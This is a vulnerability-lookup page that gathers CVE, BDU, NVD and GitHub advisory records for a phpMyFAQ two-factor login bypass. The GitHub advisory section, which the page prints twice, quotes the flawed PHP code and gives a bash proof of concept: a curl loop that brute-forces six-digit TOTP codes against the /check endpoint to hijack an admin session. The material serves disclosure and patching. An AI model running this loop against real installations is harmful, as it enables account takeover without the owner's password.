Vulnerability-Lookup

CVE-2026-56737 (GCVE-0-2026-56737)

Vulnerability from cvelistv5 – Published: 2026-09-24 14:59 – Updated: 2026-09-29 02:47

Title

phpMyFAQ's two-factor authentication login bypasses the password factor

Summary

phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-29 02:47 UTC

CWE

CWE-287 - Improper Authentication

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7627 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/thorsten/phpMyFAQ/security/adv…	x_refsource_CONFIRM
https://github.com/thorsten/phpMyFAQ/commit/41020…	x_refsource_MISC
https://github.com/thorsten/phpMyFAQ/commit/5097d…	x_refsource_MISC
https://github.com/thorsten/phpMyFAQ/commit/6a69f…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
thorsten	phpMyFAQ	Affected: >= 3.2.0, < 4.1.6	guessed

Show details on NVD website

JSON

To clipboard

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BDU:2026-15740 (CVE-2026-56737)

Vulnerability from fstec – Published: 2026-10-01 – Updated: 2026-10-01 – View on bdu.fstec.ru Exploit publicly available Fixed

Title

Уязвимость функции twoFactorSuccess() веб-приложения phpMyFAQ, позволяющая нарушителю получить несанкционированный доступ к защищаемой информации

Summary

Уязвимость функции twoFactorSuccess() веб-приложения phpMyFAQ связана с недостатками процедуры аутентификации. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, получить несанкционированный доступ к защищаемой информации

Severity

7.6 (High) CVSS 2.0


                      
                        AV:N/AC:H/Au:N/C:C/I:C/A:C

8.1 (High) CVSS 3.1


                      
                        CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Class

Architecture vulnerability

Status

Confirmed by the vendor

Exploitation

Authentication bypass

Incidents

Being clarified

Remediation

Software update

CWE

CWE-287 - Неправильная аутентификация

Aliases

CVE-2026-56737

References

5 references

URL
https://github.com/advisories/GHSA-8gpw-xvpf-hvx5
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be

Impacted products

1 product from 1 vendor

Vendors

Сообщество свободного программного обеспечения

Products

phpMyFAQ

Versions

от 3.2.0 до 4.1.6 (phpMyFAQ)

Product types

Application software

Mitigations

Использование рекомендаций производителя: https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5

JSON

To clipboard

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  "CVSS 3.0": "AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
  "CVSS 4.0": null,
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
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  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "13.07.2026",
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  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "01.10.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-15740",
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  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "phpMyFAQ",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 twoFactorSuccess() \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f phpMyFAQ, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f (CWE-287)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 twoFactorSuccess() \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f phpMyFAQ \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/advisories/GHSA-8gpw-xvpf-hvx5\nhttps://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5\nhttps://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f\nhttps://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a\nhttps://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-287",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,6)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,1)"
}

FKIE_CVE-2026-56737

Vulnerability from fkie_nvd - Published: 2026-09-24 16:17 - Updated: 2026-09-29 03:17

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "phpMyFAQ",
          "vendor": "thorsten",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.2.0, \u003c 4.1.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account\u2019s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later."
    }
  ],
  "id": "CVE-2026-56737",
  "lastModified": "2026-09-29T03:17:16.310",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-56737",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-29T02:47:07.965759Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-24T16:17:07.637",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8GPW-XVPF-HVX5

Vulnerability from github – Published: 2026-09-24 19:29 – Updated: 2026-09-24 19:29

Summary

phpMyFAQ's two-factor authentication login bypasses the password factor

Details

Summary

The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);

    if ($userId <= 0) { /* ... */ }

    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user

    if (strlen((string) $token) === 6) {
        $result = $this->twoFactor->validateToken($token, $userId);
        if ($result) {
            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked
            return new RedirectResponse(url: './');
        }
    }
    // ...
}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

public function twoFactorSuccess(): bool
{
    $this->setLoggedIn(true);
    $this->updateSessionId(true);
    $this->saveToSession();
    $this->setSuccess(true);
    return true;
}

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fa_pending_user_id session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

public function validateToken(string $token, int $userId): bool
{
    if (strlen($token) !== 6 || $userId <= 0) { return false; }
    $this->currentUser->getUserById($userId);
    $secret = $this->currentUser->getUserData('secret');
    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false
    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only
}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
  curl -ks -c jar.txt -b jar.txt \
    -X POST "https://target/check" \
    --data-urlencode "user-id=1" \
    --data-urlencode "token=$(printf '%06d' 10#$code)" \
    -o /dev/null -w "%{http_code} %{redirect_url}\n" \
  | grep -q './'   && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:29:27Z",
    "nvd_published_at": "2026-09-24T16:17:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require \u2014 and is not bound to \u2014 a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027public.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        return new RedirectResponse(url: \u0027./\u0027);\n    }\n\n    $token  = Filter::filterVar($request-\u003erequest-\u003eget(\u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(\u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    if ($userId \u003c= 0) { /* ... */ }\n\n    $this-\u003ecurrentUserService-\u003egetUserById($userId);          // loads attacker-chosen user\n\n    if (strlen((string) $token) === 6) {\n        $result = $this-\u003etwoFactor-\u003evalidateToken($token, $userId);\n        if ($result) {\n            $this-\u003ecurrentUserService-\u003etwoFactorSuccess();    // full login, no password ever checked\n            return new RedirectResponse(url: \u0027./\u0027);\n        }\n    }\n    // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n    $this-\u003esetLoggedIn(true);\n    $this-\u003eupdateSessionId(true);\n    $this-\u003esaveToSession();\n    $this-\u003esetSuccess(true);\n    return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) \u2014 proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts \u2014 it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n    if (strlen($token) !== 6 || $userId \u003c= 0) { return false; }\n    $this-\u003ecurrentUser-\u003egetUserById($userId);\n    $secret = $this-\u003ecurrentUser-\u003egetUserData(\u0027secret\u0027);\n    if (!is_string($secret) || $secret === \u0027\u0027) { return false; }   // no 2FA -\u003e false\n    return $this-\u003etwoFactorAuth-\u003everifyCode($secret, $token);       // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n  curl -ks -c jar.txt -b jar.txt \\\n    -X POST \"https://target/check\" \\\n    --data-urlencode \"user-id=1\" \\\n    --data-urlencode \"token=$(printf \u0027%06d\u0027 10#$code)\" \\\n    -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n  | grep -q \u0027./\u0027   \u0026\u0026 echo \"[+] logged in with token $code\" \u0026\u0026 break\ndone\n# A successful guess yields a logged-in session in jar.txt -\u003e full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim\u0027s TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password \u2014\nthe primary credential \u2014 is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
  "id": "GHSA-8gpw-xvpf-hvx5",
  "modified": "2026-09-24T19:29:28Z",
  "published": "2026-09-24T19:29:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ\u0027s two-factor authentication login bypasses the password factor"
}

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
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CVE-2026-56737 (GCVE-0-2026-56737)

BDU:2026-15740 (CVE-2026-56737)

FKIE_CVE-2026-56737

GHSA-8GPW-XVPF-HVX5

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